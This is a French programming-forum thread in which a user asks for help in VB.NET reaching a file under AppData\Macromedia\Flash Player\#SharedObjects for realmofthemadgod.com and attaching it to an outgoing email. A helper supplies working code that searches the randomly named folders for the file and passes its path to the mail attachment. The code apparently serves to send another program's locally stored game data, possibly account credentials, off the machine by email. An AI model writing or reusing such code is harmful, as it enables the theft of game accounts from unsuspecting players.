Accéder à un fichier de Appdata
turgodi
-
turgodi -
turgodi -
Hello, je souhaiterais utiliser un fichier qui est dans appdata, mais le dossier a un nom aléatoire qui change tout le temps du style :
Pendant 10min : Jeu\378\dossier\Monfichier.txt
Puis 10min après : Jeu\281\dossier\Monfichier.txt
Voici mon code actuel :
...etc(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "Jeu\" + "dossier\Monfichier.txt")
Merci.
Mais cela ne marche pas à moins que je mette l'adresse complète du fichier...
Pendant 10min : Jeu\378\dossier\Monfichier.txt
Puis 10min après : Jeu\281\dossier\Monfichier.txt
Voici mon code actuel :
...etc(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "Jeu\" + "dossier\Monfichier.txt")
Merci.
Mais cela ne marche pas à moins que je mette l'adresse complète du fichier...
A voir également:
- Accéder à un fichier de Appdata
- Appdata - Guide
- Fichier bin - Guide
- Comment réduire la taille d'un fichier - Guide
- Comment ouvrir un fichier epub ? - Guide
- Fichier rar - Guide
2 réponses
'lut,
Grrrrrrrrrrrrrr!!! Path.Combine, mince!
Ça existe pas pour rien, et je te conseille de considérer tout ajout de chemins avec
Ta ligne devient donc
from human import idiocy
del idiocy
chemin + "\machin" + truc...
Grrrrrrrrrrrrrr!!! Path.Combine, mince!
Ça existe pas pour rien, et je te conseille de considérer tout ajout de chemins avec
+et des séparateurs (
\ou
/) codés en dur comme une hyper mega très mauvaise pratique. Utilise Path.Combine pour tous tes chemins, et si tu as besoin du caractère séparateur, Path.DirectorySeparatorChar.
Ta ligne devient donc
...etc(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Jeu", "dossier", "Monfichier.txt"))
from human import idiocy
del idiocy
Merci pour ta réponse, je ne connaissais pas, c'est super.
Malheuresement j'ai encore une erreur, pourrais tu m'aider encore une fois ?
Voici tous les détails qui te sont nécéssaires :
Code actuel :
Et pour que tu comprennes mieux voici le chemin complet avec entre parenthèses la partie qui change tout le temps :
C:\Users\MonNom\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\(B3A8LUQY)\www.realmofthemadgod.com\monfichier.txt
Merci encore
Malheuresement j'ai encore une erreur, pourrais tu m'aider encore une fois ?
Voici tous les détails qui te sont nécéssaires :
Code actuel :
Dim lolol As Net.Mail.Attachment = New Net.Mail.Attachment(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Macromedia", "monfichier.txt"))
MyMailMessage.Attachments.Add(lolol)
Et pour que tu comprennes mieux voici le chemin complet avec entre parenthèses la partie qui change tout le temps :
C:\Users\MonNom\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\(B3A8LUQY)\www.realmofthemadgod.com\monfichier.txt
Merci encore
Le chemin que tu fournis n'est pas complet,
Le hic en plus c'est que Path.Combine ne prend que jusqu'à 4 paramètres (alors qu'il aurait très bien pu en prendre une infinité grâce aux listes de paramètres), donc il faut imbriquer...
Le "B3A8LUQY" change tout le temps?
Il faut jouer plus sophistiqué: on va devoir inspecter chaque dossier de #SharedObjects, et vérifier s'il contient
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)donne le
C:\Users\MonNom\AppData\Roaming, tu mets le
"Macromedia", mais il manque toute la partie
#SharedObjects\(B3A8LUQY)\www.realmofthemadgod.com\.
Le hic en plus c'est que Path.Combine ne prend que jusqu'à 4 paramètres (alors qu'il aurait très bien pu en prendre une infinité grâce aux listes de paramètres), donc il faut imbriquer...
Le "B3A8LUQY" change tout le temps?
Il faut jouer plus sophistiqué: on va devoir inspecter chaque dossier de #SharedObjects, et vérifier s'il contient
www.realmofthemadgod.com\monfichier.txtJe rédige le code, je l'enverrais dans un prochain commentaire...
Voilà, ceci devrait trouver le bon chemin et le stocker dans
chemin:
Dim chemin As String For Each dir As String In Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Macromedia", "Flash Player", "#SharedObjects")) chemin = Path.Combine(dir, "www.realmofthemadgod.com", "monfichier.txt") If File.Exists(chemin) Then Exit For 'On arrête la boucle car on a trouvé End If NextAprès, on adapte:
Dim lolol As Net.Mail.Attachment = New Net.Mail.Attachment(chemin) MyMailMessage.Attachments.Add(lolol)